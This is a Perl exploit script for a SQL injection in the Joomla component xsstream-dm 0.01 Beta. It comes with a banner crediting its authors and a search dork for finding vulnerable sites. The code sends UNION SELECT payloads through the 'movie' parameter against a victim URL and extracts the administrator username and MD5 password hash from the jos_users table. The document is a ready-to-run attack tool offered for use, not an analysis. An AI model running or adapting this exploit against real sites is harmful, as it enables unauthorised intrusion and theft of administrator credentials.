#!/usr/bin/perl -w

#########################################################

#     Joomla Component xsstream-dm 0.01 Beta Remote SQL Injection	#

#  download  : http://sstreamtv.com/index.php?option=com_docman&task=doc_details&gid=24

#########################################################

########################################

#[*] Founded by : Houssamix From H-T Team

#[*] H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo

#[*] Dork inurl:"index.php?option=com_xsstream-dm"

#[*] Greetz : CoNaN & HaCkeR_EgY & All friends & All muslims HaCkeRs  :)

########################################

#[*] Script_Name: "Joomla"

#[*] Component_Name: "xsstream-dm" 0.01 Beta

########################################

print "\t\t########################################################\n\n";

print "\t\t#                        Viva Islam                    #\n\n";

print "\t\t########################################################\n\n";

print "\t\t# Joomla Component (xsstream-dm) Remote SQL Injection  #\n\n";

print "\t\t#           by Houssamix & Stack-Terrorist             #\n\n";

print "\t\t#              from H-T Team & v4 Team                 #\n\n";

print "\t\t########################################################\n\n";

use LWP::UserAgent;

die "Example: perl $0 http://victim.com/\n" unless @ARGV;

#the username of joomla

$user="username";

#the pasword of joomla

$pass="password";

#the tables of joomla

$tab="jos_users";

#the the union of joomla

$un="/**/union/**/select/**/";

#the vulnerable compenent

$com="com_xsstream-dm&Itemid";

# Lets star exploiting

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";

$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "/index.php?option=".$com."=69&movie=-1".$un."1,2,".$user.",4,5,6,7,8,9,
10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/".$tab."/**";

$res = $b->request(HTTP::Request->new(GET=>$host));

$answer = $res->content;

if ($answer =~ /<div class="contentpagetitle">(.*?)<\/div>/){

print "\n[+] Admin User : $1";

}

$host2 = $ARGV[0] . "/index.php?option=".$com."=69&movie=-1".$un."1,2,".$pass.",4,5,6,7,8,9,
10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/".$tab."/**";

$res2 = $b->request(HTTP::Request->new(GET=>$host2));

$answer = $res2->content;

if ($answer =~/([0-9a-fA-F]{32})/){print "\n[+] Admin Hash : $1\n\n";

print "\t\t#   Exploit has ben aported user and password hash   #\n\n";

}

else{print "\n[-] Exploit Failed...\n";}

#exploit discovered by Houssamix From H-T Team

# exploit exploited by Stack-Terrorist